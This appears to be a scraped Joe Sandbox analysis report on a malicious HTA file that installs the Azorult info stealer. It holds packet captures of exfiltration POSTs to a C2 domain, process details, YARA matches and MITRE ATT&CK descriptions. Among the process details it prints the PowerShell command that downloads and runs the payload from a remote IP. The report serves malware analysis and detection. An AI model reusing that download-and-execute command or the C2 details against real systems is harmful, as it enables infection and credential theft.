Oct 11, 2024 04:10:41.239562988 CEST	1236	IN	Data Raw: 7a f5 87 3b cc 2d 6c e0 d3 33 bf f5 ac 8e 76 0a 5a 7e 56 19 4f 44 41 c1 4c 17 08 34 d1 c8 82 f2 ce 1d 54 98 44 99 39 b2 06 92 12 bf ba 79 4a 37 30 22 c7 fe 06 c9 77 a1 c5 9d ee cf 64 23 21 80 94 c4 44 ac 49 49 01 3a 9a c2 f0 bc 2f db f7 e5 34 69 Data Ascii: z;-l3vZ~VODAL4TD9yJ70"wd#!DII:/4iMuhiF@o_p0](l{,!36Ds\|e#SS]k#]O}.~8\Tq1;FJons/Qw[e2aUs>W#{'w{YJA2f
Oct 11, 2024 04:10:41.239578962 CEST	1236	IN	Data Raw: 49 05 17 c3 e5 5d f7 61 ef a4 40 3b 00 12 4b cc a4 5d b1 72 f6 a2 1c 37 14 0a 4a df b9 5f fa 77 fe bf 40 7b 0b 0f 06 dd a4 43 f1 64 e9 b9 5c 3b 12 05 00 dd bf 1e fd 70 f1 fb 67 52 6e 4d 63 ae ce 35 99 03 9c cf 7b 64 20 56 21 a9 c3 1b 98 03 98 ce Data Ascii: I]a@;K]r7J_w@{Cd\;pgRnMc5{d V!4dd]D8D#HBqGz[-A I(BqGB,Gdu`f5\M`d75]L-)<=3WddwbP{2H<SuHHi`%1(FvRB>y
Oct 11, 2024 04:10:41.239595890 CEST	1236	IN	Data Raw: 56 b5 43 9c 8d 85 be cd a3 99 35 ed dd a4 db 3d d0 e3 21 20 bc ea 54 bb 6b 16 c8 d2 62 cc 9d a5 df 3b f8 e1 1b 08 f8 c2 e9 14 02 d3 76 4d aa 6e a7 59 0a 8a 3a e0 a7 f4 e5 8b ad f1 78 54 0a 60 92 2c 09 9b 2d 89 be 00 0e 40 99 23 94 e5 9b f0 f4 b4 Data Ascii: VC5=! Tkb;vMnY:xT`,-@#$I(G!48K2,@+OP7$R0{L*0_RYOe X7vdyBI2h6dwg_Voc4`euVted5DlZ`e0#P^;T
Oct 11, 2024 04:10:41.245038033 CEST	1236	IN	Data Raw: 69 66 55 2d ca 3a 9c 80 9c ca 33 ed 95 70 f4 fe 30 a3 f1 b5 24 66 d8 3c cc 38 fe 28 0e 20 be 74 56 27 e7 9c fa 8c 10 c7 62 6a 1f 37 d2 45 12 bd 74 5c e5 26 56 5f 97 f8 e4 f4 51 eb a1 df 65 d6 ca 43 b1 08 6e ac 0a bc 09 30 6a f2 69 5e 4b 4e 84 57 Data Ascii: ifU-:3p0$f<8( tV'bj7Et\&V_QeCn0ji^KNW.hml/?>tDLFaGOb}1lan(Qf3Y?P;F<#78{b_*"sH`?="h-UDK&X}^}i}ZG\|J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	104.21.14.133	80	7684	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 04:10:46.104904890 CEST	165	OUT	POST /ML341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: h8m5b.shop Content-Length: 46480 Cache-Control: no-cache
Oct 11, 2024 04:10:46.105024099 CEST	11124	OUT	Data Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 6d ef 47 70 9d 3b 70 9d 35 70 9d 34 70 9d 3b 13 8b 31 11 ec 26 66 9a 26 66 9f 26 66 9e 40 70 9d 3b 70 9d 35 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410mGp;p5p4p;1&f&f&f@p;p5p4pGp5@p00g0b&f&f&g&fm1t&1e0d0e1em!q%j&-0c0a&f&f&f&f&f&f?m0p3)0e&fp0p1)@`;bAx6m.b:f7b@x4`5`5lB`7
Oct 11, 2024 04:10:46.109899998 CEST	3708	OUT	Data Raw: 42 1f f6 48 1c e0 41 16 e5 55 0f f6 5b 03 e4 41 1c e3 56 00 ec 4a 58 a4 53 1e ad 07 41 ae 03 55 ae 03 55 ae 03 55 33 41 63 3a 01 51 ae 03 57 aa 03 55 b9 03 55 ae 45 3c c2 66 26 f2 32 09 f6 59 0d e6 42 03 e9 51 14 e9 2d 31 c1 60 2d f6 59 0d e6 42 Data Ascii: BHAU[AVJXSAUUU3Ac:QWUUE<f&2YBQ-1`-YBQTSVBOBLIITIEMTBBNLPMYDQMYRFUUZPT@BSDA@AWNLVDOMASFATL
Oct 11, 2024 04:10:46.110071898 CEST	4944	OUT	Data Raw: 4f 12 ec 5a 01 e4 4f 1a e4 4c 10 f9 4d 07 ea 4d 18 f6 5b 07 f7 4e 14 e4 41 02 ed 57 1b e3 41 07 eb 4a 1f ea 55 03 e7 5b 10 e6 46 12 f7 52 1e f4 52 16 e9 4f 03 e6 4c 16 e3 56 06 e5 5b 16 ff 52 18 fb 51 19 f7 48 02 fb 4a 00 e3 45 06 e9 5a 18 f4 56 Data Ascii: OZOLMM[NAWAJU[FRROLV[RQHJEZV@LZBFPRYFBPTUKL@@ETTMVAADFWRT[FKKTULVOKE@RMZMESMWZHDH
Oct 11, 2024 04:10:46.110155106 CEST	4944	OUT	Data Raw: 56 1e e3 4a 02 e5 4f 0f f6 41 1a eb 50 00 ed 5b 0f f6 52 06 ed 4e 04 e5 47 1e e8 41 16 e6 49 18 fe 4e 0f e6 46 19 e2 4d 06 f7 5a 10 e4 4d 17 fc 51 0d f8 41 18 fe 47 14 ec 54 0c fd 47 1b f4 51 13 fc 49 14 e0 52 1c ef 5b 16 ec 40 1c ed 4c 58 a4 53 Data Ascii: VJOAP[RNGAINFMZMQAGTGQIR[@LXSAUUUQWUUE<f&2M@P_NMA{9{NMAJMZATIJBQ[HJNBFF@[RLPPHSWFQSE
Oct 11, 2024 04:10:46.110166073 CEST	2472	OUT	Data Raw: 4e 1f f4 4b 0d e8 54 12 e4 52 1b f9 52 16 ea 4f 0d eb 54 17 f4 53 12 ec 57 03 ea 55 16 fe 53 00 e8 4f 13 e9 4d 0f fc 56 1e e4 4c 14 e0 49 03 f6 55 01 f6 4f 1a ff 4f 13 fb 4a 03 eb 54 01 ed 41 1e e1 41 0c f4 4e 14 e1 57 1c e3 52 18 e4 5a 07 f7 4f Data Ascii: NKTRROTSWUSOMVLIUOOJTAANWRZOOBOW@ITF[LGOFMGVEGUPTKZQVKDOHBVPETGGKNWGMRDLDZWABNUFN
Oct 11, 2024 04:10:46.110251904 CEST	4944	OUT	Data Raw: 52 01 f8 45 0d f4 45 00 f8 52 10 fc 52 0f e4 40 0c f7 53 13 ec 5a 1a e0 42 03 e8 47 1a e2 57 1b fc 44 02 ff 5a 12 fd 5a 02 ed 54 00 f9 51 10 fa 49 0f e9 55 1f e3 46 13 ff 57 0c fe 4c 19 e1 4d 03 f4 45 07 eb 55 1a fc 4e 17 ff 49 1a ed 4f 1a ef 4f Data Ascii: REERR@SZBGWDZZTQIUFWLMEUNIOOKKKVJQRFHWVQJOUU@ZMMYQIT@MNJMJ@GSOWQWEROYIVFSZZHQUUU
Oct 11, 2024 04:10:46.114862919 CEST	4944	OUT	Data Raw: 42 03 e3 41 00 f4 4a 0c f7 59 00 ff 57 11 e2 59 1c e3 51 07 e9 5b 19 fa 4c 10 e4 4e 13 f9 4f 1a e3 4d 05 e0 4f 1c ed 53 0f fe 48 01 e6 53 0d eb 4f 12 ec 5a 01 e4 4f 1a e4 4c 10 f9 4d 07 ea 4d 18 f6 5b 07 f7 4e 14 e4 41 02 ed 57 1b e3 41 07 eb 4a Data Ascii: BAJYWYQ[LNOMOSHSOZOLMM[NAWAJU[FRROLV[RQHJEZV@LZBFPRYFBPTUKL@@ETTMVAADFWRT[FKKTULV
Oct 11, 2024 04:10:46.115137100 CEST	4944	OUT	Data Raw: 4c 0c e5 48 1a f7 56 1d e8 54 18 f6 54 05 e2 4b 13 e7 4a 05 e1 51 18 eb 49 1b e1 45 0c e3 49 07 ec 42 0f e2 5a 01 e7 4c 1e eb 45 1c f9 53 11 f4 56 1e e3 4a 02 e5 4f 0f f6 41 1a eb 50 00 ed 5b 0f f6 52 06 ed 4e 04 e5 47 1e e8 41 16 e6 49 18 fe 4e Data Ascii: LHVTTKJQIEIBZLESVJOAP[RNGAINFMZMQAGTGQIR[@LXSAUUUQWUUE<f&1M@P_NMA{9{NMAJMZATIJBQ[HJN
Oct 11, 2024 04:10:46.115149021 CEST	2472	OUT	Data Raw: 6f 38 c7 75 1d ec 4b 2d dd 6a 05 cd 41 7b cb 7b 30 a3 09 5c c2 5b 3a e8 6d 11 e4 59 39 c3 6a 23 e6 41 1d d6 70 3c fe 60 17 80 66 2d cb 0e 5f a7 6f 0d c1 45 3b ea 49 0f c2 6e 3c d8 4b 17 e6 7b 26 c7 53 36 ec 2d 30 d6 66 58 a4 0a 39 f6 6c 13 c0 47 Data Ascii: o8uK-jA{{0\[:mY9j#Ap<`f-_oE;In<K{&S6-0fX9lGo8uK-jA{{0\[:mY9j#Ap<`f-_oE;In<K{&S6-0fX9lGo8uK-jA{{0\[:mY9j#Ap<`f-_oE;In<K{&S6-0fX
Oct 11, 2024 04:10:46.115206003 CEST	1984	OUT	Data Raw: 53 1e af 01 5b ae 0d 55 ae 03 55 ae 03 55 ae 03 05 03 d0 83 ac 07 55 ae 01 51 ae 03 77 ae 03 55 ae 03 55 ae 02 55 8e 03 55 ae 59 60 ae 03 13 c7 6f 30 dd 5f 64 f2 55 19 f4 47 12 fb 48 00 fa 59 09 e6 57 14 e9 55 11 e8 56 1c eb 2d 2d c2 70 2d fe 48 Data Ascii: S[UUUUQwUUUUY`o0_dUGHYWUV--p-HTUUUU0WUU!UUUuU2:UE<f&2ODV_YVWg:{W[UUU2eQWUUUT#UUj9p_NMAONPY{o&S
Oct 11, 2024 04:10:50.170914888 CEST	622	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 02:10:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XWCbjwLEfsFETCvrM9Hld1%2FYBjVLs0E592umS4nuRIPKjAYH5oqV%2BtC0H5K8e0YQHZ43y5Z6EWWukTDiNCOQZm0z7qynFn4YQWjD%2Fz1ofcGCscJYh%2Fd2vVi6mx8W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0b50d0dfd28ca7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a Data Ascii: 7falseOK

Target ID:	0
Start time:	22:10:35
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta"
Imagebase:	0x4f0000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	22:10:35
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
Imagebase:	0xa20000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:10:35
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:10:35
Start date:	10/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	22:10:37
Start date:	10/10/2024
Path:	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe"
Imagebase:	0x400000
File size:	114'688 bytes
MD5 hash:	27864DD446F03F806B26031D97E3377B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000003.1781232905.00000000020AC000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown Rule: Azorult, Description: detect Azorult in memory, Source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000003.1781211546.000000000395C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1781199402.00000000041E4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000003.1780381822.00000000020BC000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown Rule: Azorult, Description: detect Azorult in memory, Source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: unknown Rule: Azorult_1, Description: Azorult Payload, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: kevoreilly Rule: Azorult, Description: detect Azorult in memory, Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Order160311_Reference.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\5312937642102943815192.tmp

C:\Users\user\AppData\Local\Temp\53129843543335692864499.tmp

C:\Users\user\AppData\Local\Temp\53129843543335692864499.tmp-shm

C:\Users\user\AppData\Local\Temp\5313015326551881017357.tmp

C:\Users\user\AppData\Local\Temp\53130313988252185246271.tmp

C:\Users\user\AppData\Local\Temp\53130462903731944722463.tmp

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-datetime-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-debug-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-file-l2-1-0.dll

Windows Analysis Report
Order160311_Reference.hta